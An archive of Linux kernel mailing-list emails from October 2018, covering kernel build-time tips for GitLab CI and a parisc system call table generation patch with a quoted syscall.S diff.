Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gA2qw-0004H9-Fa
	for glk-linux-kernel-4@m.gmane.org; Wed, 10 Oct 2018 02:59:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726625AbeJJIVl (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 10 Oct 2018 04:21:41 -0400
Original-Received: from mail-ot1-f65.google.com ([209.85.210.65]:34555 "EHLO
        mail-ot1-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725775AbeJJIVk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 10 Oct 2018 04:21:40 -0400
Original-Received: by mail-ot1-f65.google.com with SMTP id i12-v6so3693690otl.1;
        Tue, 09 Oct 2018 18:02:01 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=C2EZPhvngUO5S1nk+0jkQ/A5iTdmqdn3ctiJa31CT5k=;
        b=eNYSXDFY/arDb/NUg9EJqXxPbG9oFmdTyRmI4YRoPZYFA/47m6AUrBPPLdwkIwwB25
         vzowguZUNJH4VKLwyp9Gm/ndAXLMj1znotOoxVAGWimyjZJbcJj4UiIjKtrYeKlv0uwS
         MzYw1etWN006eyazcwShUpxFpHG1MsusLQb3ZqXt9qsXraYw1E+Sg19fazjDBbfncGHi
         75fk92WE6rglklvuxkAOMtoTrQII+C6XtQzpeUVoNOonmDRFGzvcN6d/zcGPdupx/Gpw
         q/MG28ev46fBoHHsWUphYDx0tG+5V1GTRGE6KN1ILTwWQGwDpZsP1yuUve6YTaW2y6al
         etfw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=C2EZPhvngUO5S1nk+0jkQ/A5iTdmqdn3ctiJa31CT5k=;
        b=twiXpEEeFyDcIG7AYFc+R1A+6zDzSGZy3jLkenIH7IvA6faifQd6ndIMlXZvZl0DUm
         VXOjPx1eGbwQyt48PcjKvhJALc1gITZb5LzFnvPwNGvszbFyr+qvfxHQBXXVYSw2+yb2
         Rk0LhYVknZfsBiAPpJ2Sa52yrW5vsZLypRS6iFfjQjBDicLc3uf4c03x//8aVKyFmrVs
         LxqY+U4L3SR03vKL+iBZVRmUQy2CU8wIhBm9EuBcJpayAU2UmvaTtVMBoiqNdo7MpNtl
         e9X3J9vpNKayRdy+ZQKNNb1Q9BQo3G2hEwIh930ob7+mDZg+zTTgbjqoox6rutRclLHc
         q3pQ==
X-Gm-Message-State: ABuFfoiq73yCtsyNJU97VneEUOFNa7LggmPBTGDMKqwZHT6IaFlfvBlo
        RrRVLKvPnQuogBfRYjNEgFyu9QTEZ7C3CuhEfKA=
X-Google-Smtp-Source: ACcGV61yblPs/HS7OkyOSrx6Boit8YWSGpgeTZPLMI0kLIw1cg+vfQm88DSvV4BA1ua/rD/YjXvs1LAjBBe6X6dWL4k=
X-Received: by 2002:a9d:38d4:: with SMTP id k20mr3219082ote.289.1539133321511;
 Tue, 09 Oct 2018 18:02:01 -0700 (PDT)
In-Reply-To: <765df6c3-0339-ebf3-6446-cef4fc1eb1cc@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2894972 gmane.linux.oprofile:13265 gmane.linux.ports.parisc:29116
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2894972>

Hello Michael,

> That already works, doesn't it? So all that you'd need is an offline
> tool to precompute what drivers to actually build with a given config.
>
> 'make -n' with some suitable output mangling might do the job.
>
> There may well be other ways to achieve your stated goal, without any
> need to make changes to the kernel build process (which is the result of
> many years of evolution and tuning, BTW).

Thanks for the info, I will try to use it.

> > This change is not supposed to bother the usual way of building the kernel, and
>
> Enough people have voiced their concern to warrant that you should back
> up that claim, IMO. Have you verified that your patchset does not change
> current behaviour when building the entire set of default configurations
> for each supported architecture? Does it reduce or increase overall
> complexity of the build process?
>
I have tried in some ARCHs and it worked fine. Out of curiosity, I
will try on all
of them.

> > it is not even supposed to add overhead to kernel compilation. And it would,
> > at least, solve my problem with the 3h limit, and enable the tool
> > I am building on GiltabCI to help other developers.
>
> (Apropos of nothing: Am I the only one who thinks gitlab might take a
> rather dim view of your creativity in dealing with their limit?)
>

They make available 50k minutes a month for OSS projects. I don't believe they
care how it's spent if its used to build/deploy the project. They even
allow using
several 'jobs' in parallel in order to speed up the process.

Thanks for your help,

Leonardo Bras


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo Bras <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 0/7] Remove errors building drivers/DRIVERNAME
Date: Tue, 9 Oct 2018 22:04:11 -0300
Lines: 24
Approved: news@gmane.org
Message-ID: <CADvQ+rFfWoGsnz-W-SFuD6zx9eO-nQqz-GVVVW00cV_Ss8pZ_w@mail.gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com> <20181001075607.GA3776@rric.localdomain>
 <CADvQ+rETmm2Ag4sijXG-0Aya7B0oww7LkLgijAC+nznyWskkvg@mail.gmail.com>
 <alpine.LNX.2.21.1810040915040.8@nippy.intranet> <CADvQ+rE8qQmSangHOCrJo7aAD-BJiN3Gt2hCi-3O8uRTgXnP-w@mail.gmail.com>
 <alpine.LNX.2.21.1810041200240.8@nippy.intranet>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539133340 27393 195.159.176.226 (10 Oct 2018 01:02:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Oct 2018 01:02:20 +0000 (UTC)
Cc: Robert Richter <rric@kernel.org>, lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel <linux-kernel@vger.kernel.org>,
        linux-m68k@lists.linux-m68k.org, oprofile-list@lists.sf.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
        James Bottomley <James.Bottomley@hansenpartnership.com>
To: Finn Thain <fthain@telegraphics.com.au>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 10 03:02:15 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gA2tC-00070r-Tm
	for glk-linux-kernel-4@m.gmane.org; Wed, 10 Oct 2018 03:02:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727051AbeJJIYD (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 10 Oct 2018 04:24:03 -0400
Original-Received: from mail-ot1-f68.google.com ([209.85.210.68]:37506 "EHLO
        mail-ot1-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726582AbeJJIYC (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 10 Oct 2018 04:24:02 -0400
Original-Received: by mail-ot1-f68.google.com with SMTP id o14so3688121oth.4;
        Tue, 09 Oct 2018 18:04:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=L40dxiymgKTuSUnpFwS9PSo74Asn3rQ8N8sH/0ymlbU=;
        b=EemAEeDPxl6p95S6QREFGqgDuFtvZbMJ8nDxbH7NxAVbuEEIYGrtlQJ5ooEAA6QJcK
         wsDnQYm1uOiwEiOrA5VKYqX3e57pbWFjktKz3FWdI2B7NPxt61Fe9ST1pCxoVp2I5Se8
         3k1KWS6zLcXmhBmpjcNG55NfIaXsHvsyRpcBi8IuU7fVTXZG4QwSKsfodyjRvEazcGm6
         oW+o+faoNXEh4KQA0UvrtcmXXgPeLpLzA6pOX/I6CfbNRfEamTRzO8vsyGedyRsYyA/2
         a7v6BAL3Xtzs1iqKBsjSjYr23UcwlQJ70brPxqT97uqIHRD0lz0QLeeLI88xE56YCKHi
         mLLQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=L40dxiymgKTuSUnpFwS9PSo74Asn3rQ8N8sH/0ymlbU=;
        b=ZCogbKKUGzn0SNH+YxUMxrk4ndzcE1nH5vJw9jBzy6EhPwlprkeU0xue0cdMDHwX4c
         GgIJYSS2zzudJQYUXOWEE6t0UPwQwDIq13cd6lYMx2rDujYDht+Hcx5ExEiRHtVq7l1m
         n1B+12F/VC3HqYfwnFuHfkCylFRK0snyx5IXTnBiYUBHzd7bi+7pV24tWC9g93ob64vN
         pCx8yJtmbOwed5nWZ/4MaB1lQJJ6l8No9PAnJ1b39qv4xHWR3QgQxrtpbnAzADGg4zqc
         zkh+2hV8qj863kz+qwu3Bm3f+kX5LRYPz10UjzjwXG/FmkEJN2prjaUDglbMa6ivKmWX
         dwDg==
X-Gm-Message-State: ABuFfogi3LYoP09f7wL5GDYD515kHWtfNkcHpKO2je8MYIocdlsXOJVV
        YULZh3afGYkK5psnTe1g4Oe7Y5SNZeX+tPjcqUo=
X-Google-Smtp-Source: ACcGV60LpnjIzQuq0fuap5DEOq4o8EAHQ3e0s2k0Cf+Klf+zAmKJLEKkd2jzqYMsqGTVjt/g/LYZrue7HV4dEyRa+g8=
X-Received: by 2002:a9d:2568:: with SMTP id j37mr19409188otd.263.1539133462747;
 Tue, 09 Oct 2018 18:04:22 -0700 (PDT)
In-Reply-To: <alpine.LNX.2.21.1810041200240.8@nippy.intranet>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2894976 gmane.linux.oprofile:13266 gmane.linux.ports.parisc:29117
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2894976>

Thanks Finn, I will take a good look at that and try to use it in my build.

Thank you,
Leonardo Bras

On Wed, Oct 3, 2018 at 11:00 PM Finn Thain <fthain@telegraphics.com.au> wrote:
>
> On Wed, 3 Oct 2018, Leonardo Bras wrote:
>
> > Both ccache and distcc seem very interesting, I will take my time to
> > study them better as they can solve some situations I face. Thanks for
> > sharing!
> >
>
> You might also want to check out 'gcc -O0', 'gcc -fopt-info' and 'gcc
> --help=optimizers' etc to see if you can reduce the compute cost.
>
> To reduce IO cost, my build tests always use 'make O=/some/path' where
> /some/path is on a tmpfs mountpoint.
>
> HTH.
>
> --


From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 4/6] parisc: uapi header and system call table file generation
Date: Thu, 11 Oct 2018 11:40:46 +0530
Lines: 80
Approved: news@gmane.org
Message-ID: <CALxhOnjxkq1-N59i81+ra58tZhx7Gik6iPyUsNFJY9wEJA+D1w@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-5-git-send-email-firoz.khan@linaro.org> <20181009201321.GA28911@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539238138 23582 195.159.176.226 (11 Oct 2018 06:08:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2018 06:08:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 11 08:08:53 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAU9U-00061X-3h
	for glk-linux-kernel-4@m.gmane.org; Thu, 11 Oct 2018 08:08:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728168AbeJKNgn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 11 Oct 2018 09:36:43 -0400
Original-Received: from mail-yw1-f67.google.com ([209.85.161.67]:34157 "EHLO
        mail-yw1-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726846AbeJKNgm (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 11 Oct 2018 09:36:42 -0400
Original-Received: by mail-yw1-f67.google.com with SMTP id m129-v6so3160571ywc.1
        for <linux-kernel@vger.kernel.org>; Wed, 10 Oct 2018 23:10:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=5fIUb92OYF2wLqmfn4EGg5jS4BRcuqT2H3Q+tibUquc=;
        b=KSPuOP0zZhdPBYPdUy57fJQdhT+yM4mtA8WKzPm3X9y0Vxu73nyl7gXHz4So9FyIyc
         9MdaZVORLtAVNhF+JE4BrkEpi7lUziLLaaYa6qIVvldkYlHjO2VCovomCR5tOoJ1MfQp
         qZ4XvwMyhzFIvsuJhMPWafq047LFW+Kpt9i1U=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=5fIUb92OYF2wLqmfn4EGg5jS4BRcuqT2H3Q+tibUquc=;
        b=ha+N+OrUep2/WCecs7rGO9UlRJ6/hXT5ydwXL0iJpKO5uQk6vhO/mZQUjuBhRs9aVy
         oq9S46efJHR8nnvtRalwASDRCSz4ST7oS3tfYbqc6t+FTXnTlqjmm9e1aIKzgRLTaaGr
         CKMlrrFWx78iHcQt/dj/MnS5Ivb6YQx/qXuQIlLGdYntRELgSG7uKU52Vdpw7GvGyIJS
         97+ZDOah1IbVDG6eSeYiZZhDJzBq5mTmHZKIYtlNhWeqaRJNu6WGO08u7gEgbE4HUQyy
         YsEBYeQp9o3BEM8/oPqdpAL42U3EaDrEnT00iZWytkStffvwzThe3gHBM96LKUSABHWs
         /EXg==
X-Gm-Message-State: ABuFfogoV4ovdJ/MiwWIdkf/EZuu3sqqlYXLoqXkCETpv4VZtISNfLFp
        T9UYMvddxbdn4GWbsgYV6qbkIQGki6LaMIpCFQPRdw==
X-Google-Smtp-Source: ACcGV60ElJef4pGxL41XuFbPIa8NmWiWtK5Ppa0V3QIIO2j51kqiU419ibRzrpCcidlqSxbjY3yeFOojOOZcAnGTshY=
X-Received: by 2002:a0d:d801:: with SMTP id a1-v6mr94914ywe.399.1539238258071;
 Wed, 10 Oct 2018 23:10:58 -0700 (PDT)
In-Reply-To: <20181009201321.GA28911@ls3530.fritz.box>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2896118 gmane.linux.ports.parisc:29118 gmane.linux.kernel.year-2038:3488 gmane.linux.kernel.cross-arch:47605
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2896118>

Hi Helge,

On Wed, 10 Oct 2018 at 01:48, Helge Deller <deller@gmx.de> wrote:
>
> * Firoz Khan <firoz.khan@linaro.org>:
> > System call table generation script must be run to generate
> > unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
> > will have changes which will invokes the script.
> >
> > This patch will generate unistd_32/64.h and syscall_table_
> > 32/64/c32.h files by the syscall table generation script
> > invoked by arch/parisc/Makefile and the generated files against
> > the removed files will be identical.
> >
> > The generated uapi header file will be included in uapi/asm/
> > unistd_32/64.h and generated system call table support file will
> > be included by arch/sparc/kernel/syscall_table_32/64.S file.
> >
> > Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> > ---
> >  arch/parisc/Makefile                  |   4 +
> >  arch/parisc/include/asm/Kbuild        |   3 +
> >  arch/parisc/include/uapi/asm/Kbuild   |   2 +
> >  arch/parisc/include/uapi/asm/unistd.h | 373 +--------------------------
> >  arch/parisc/kernel/syscall.S          |  12 +-
> >  arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
>
>
> Can we please get rid of those two new files:

Yes, we don't need those files some of the architecture and other
architecture does have same/similar files. That's why I added below
files, so every architecture implementation looks same.

I feel it is better to remove these files.
Arnd, Do u have any comment on this?

Thanks
Firoz

>
> >  arch/parisc/kernel/syscall_table_32.S |  13 +
> >  arch/parisc/kernel/syscall_table_64.S |  20 ++
>
> Both are not needed (at least on parisc) if you apply the following
> patch on top of your patch series.
> This patch finally fixes the 64-bit kernel on parisc (tested on real
> hardware).
>
> Helge
>
> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> index 2523b83b88d8..45cddeeb968f 100644
> --- a/arch/parisc/kernel/syscall.S
> +++ b/arch/parisc/kernel/syscall.S
> @@ -923,10 +923,20 @@ ENTRY(lws_table)
>  END(lws_table)
>         /* End of lws table */
>
> -#include "syscall_table_32.S"
> +#define __SYSCALL(nr, entry, nargs) ASM_ULONG_INSN entry
> +
> +ENTRY(sys_call_table)
> +#if defined(CONFIG_64BIT)
> +#include <asm/syscall_table_c32.h>     /* compat syscalls */
> +#else
> +#include <asm/syscall_table_32.h>      /* 32-bit native syscalls */
> +#endif
> +END(sys_call_table)
> +
>  #ifdef CONFIG_64BIT
> -#define SYSCALL_TABLE_64BIT
> -#include "syscall_table_64.S"
> +ENTRY(sys_call_table64)
> +#include <asm/syscall_table_64.h>      /* 64-bit native syscalls */
> +END(sys_call_table64)
>  #endif
>
>         /*


From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 4/6] parisc: uapi header and system call table file generation
Date: Thu, 11 Oct 2018 11:44:13 +0530
Lines: 86
Approved: news@gmane.org
Message-ID: <CALxhOnhcP==cGqMQvtrZ9GiNWGB69hz4G0n0kocBtd9NpDthCg@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-5-git-send-email-firoz.khan@linaro.org> <20181009201321.GA28911@ls3530.fritz.box>
 <CALxhOnjxkq1-N59i81+ra58tZhx7Gik6iPyUsNFJY9wEJA+D1w@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539238343 4929 195.159.176.226 (11 Oct 2018 06:12:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2018 06:12:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 11 08:12:18 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAUCn-00019m-RL
	for glk-linux-kernel-4@m.gmane.org; Thu, 11 Oct 2018 08:12:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728077AbeJKNkK (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 11 Oct 2018 09:40:10 -0400
Original-Received: from mail-yw1-f67.google.com ([209.85.161.67]:41684 "EHLO
        mail-yw1-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727353AbeJKNkK (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 11 Oct 2018 09:40:10 -0400
Original-Received: by mail-yw1-f67.google.com with SMTP id 135-v6so3149773ywo.8
        for <linux-kernel@vger.kernel.org>; Wed, 10 Oct 2018 23:14:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=7IAGnemiCYDs+EjrC0YpT7FA/BVh+qvrJekxWsHwIaQ=;
        b=RP3Wf0TeIWRjOSZJfT0cvxky3R9FS4WTtPSPmyQBTrM0/XpFl2wEk1ka5RXs6fuv4y
         KrQbEk3545xxw7xu0ngBtUfIZNq9A/PF1U90PQxS+4i8sYWKB424OP4QtwaqrrrcmAJt
         14B78AOw95miiiZksGezdM03DixhRTNOPniEs=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=7IAGnemiCYDs+EjrC0YpT7FA/BVh+qvrJekxWsHwIaQ=;
        b=MDcsHiVCNQaXhOx5IRwsJgZZblieVoomXpWE+k2ZZg+Z1CxcexHWYgTLEJFWQjUyME
         ky7IyCAhC4X/0SwFCgH/KuD5FdxWy4EcDPhCXBfe8CDXhE87SrldSdEW44OwibPhu3Av
         LPS3RlqXbb11YRbOKkpz4VUJUWkOfEHh9vQR0OCUrK8uCP5KscYmEwSqzYiYuhPvxink
         VJ+SHaAS6/a8NyonR3LfOC5V7jr2p3dV1kr8HhKswFaJq0h/daMj25RwO8yN+6p+6ZBk
         PSoqa+i/PunHj4K0diyNk0EXVsZrsOZdNc6enDhi5llbI6vSVFY4VYlxvVloR0PAuw/6
         HTlQ==
X-Gm-Message-State: ABuFfoiXDC9KGQJpAsXwVuJCZfKJJGg5W35jaYFPz2F5ustQXDduTedS
        dQT7yMzJH9OdwvUAaIJMvCSWMOs+mXClpuyo3R6sHw==
X-Google-Smtp-Source: ACcGV620OataGhheFj+qU6sEBXkHGNVoTRKjIxkhGAJZawWGGqyXLAX1TSuL0Q+k4M3yIMz8cwanuj5Hi5VR2FclWLA=
X-Received: by 2002:a81:9849:: with SMTP id p70-v6mr103220ywg.175.1539238464979;
 Wed, 10 Oct 2018 23:14:24 -0700 (PDT)
In-Reply-To: <CALxhOnjxkq1-N59i81+ra58tZhx7Gik6iPyUsNFJY9wEJA+D1w@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2896119 gmane.linux.ports.parisc:29119 gmane.linux.kernel.year-2038:3489 gmane.linux.kernel.cross-arch:47606
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2896119>

Typo fixed!

On Thu, 11 Oct 2018 at 11:40, Firoz Khan <firoz.khan@linaro.org> wrote:
>
> Hi Helge,
>
> On Wed, 10 Oct 2018 at 01:48, Helge Deller <deller@gmx.de> wrote:
> >
> > * Firoz Khan <firoz.khan@linaro.org>:
> > > System call table generation script must be run to generate
> > > unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
> > > will have changes which will invokes the script.
> > >
> > > This patch will generate unistd_32/64.h and syscall_table_
> > > 32/64/c32.h files by the syscall table generation script
> > > invoked by arch/parisc/Makefile and the generated files against
> > > the removed files will be identical.
> > >
> > > The generated uapi header file will be included in uapi/asm/
> > > unistd_32/64.h and generated system call table support file will
> > > be included by arch/sparc/kernel/syscall_table_32/64.S file.
> > >
> > > Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> > > ---
> > >  arch/parisc/Makefile                  |   4 +
> > >  arch/parisc/include/asm/Kbuild        |   3 +
> > >  arch/parisc/include/uapi/asm/Kbuild   |   2 +
> > >  arch/parisc/include/uapi/asm/unistd.h | 373 +--------------------------
> > >  arch/parisc/kernel/syscall.S          |  12 +-
> > >  arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
> >
> >
> > Can we please get rid of those two new files:
>
> Yes, we don't need those files some of the architecture and other
> architecture does have same/similar files. That's why I added below
Yes, we don't need those files some of the architecture does have ...

> files, so every architecture implementation looks same.
>
> I feel it is better to remove these files.
> Arnd, Do u have any comment on this?
>
> Thanks
> Firoz
>
> >
> > >  arch/parisc/kernel/syscall_table_32.S |  13 +
> > >  arch/parisc/kernel/syscall_table_64.S |  20 ++
> >
> > Both are not needed (at least on parisc) if you apply the following
> > patch on top of your patch series.
> > This patch finally fixes the 64-bit kernel on parisc (tested on real
> > hardware).
> >
> > Helge
> >
> > diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> > index 2523b83b88d8..45cddeeb968f 100644
> > --- a/arch/parisc/kernel/syscall.S
> > +++ b/arch/parisc/kernel/syscall.S
> > @@ -923,10 +923,20 @@ ENTRY(lws_table)
> >  END(lws_table)
> >         /* End of lws table */
> >
> > -#include "syscall_table_32.S"
> > +#define __SYSCALL(nr, entry, nargs) ASM_ULONG_INSN entry
> > +
> > +ENTRY(sys_call_table)
> > +#if defined(CONFIG_64BIT)
> > +#include <asm/syscall_table_c32.h>     /* compat syscalls */
> > +#else
> > +#include <asm/syscall_table_32.h>      /* 32-bit native syscalls */
> > +#endif
> > +END(sys_call_table)
> > +
> >  #ifdef CONFIG_64BIT
> > -#define SYSCALL_TABLE_64BIT
> > -#include "syscall_table_64.S"
> > +ENTRY(sys_call_table64)
> > +#include <asm/syscall_table_64.h>      /* 64-bit native syscalls */
> > +END(sys_call_table64)
> >  #endif
> >
> >         /*


From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 4/6] parisc: uapi header and system call table file generation
Date: Thu, 11 Oct 2018 12:18:21 +0530
Lines: 90
Approved: news@gmane.org
Message-ID: <CALxhOnj1SnTO9Sm-1cAL9B8gEmYrOHr03K6OqF4qqt5Oh0x+4g@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-5-git-send-email-firoz.khan@linaro.org> <20181009201321.GA28911@ls3530.fritz.box>
 <CALxhOnjxkq1-N59i81+ra58tZhx7Gik6iPyUsNFJY9wEJA+D1w@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539240393 20994 195.159.176.226 (11 Oct 2018 06:46:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
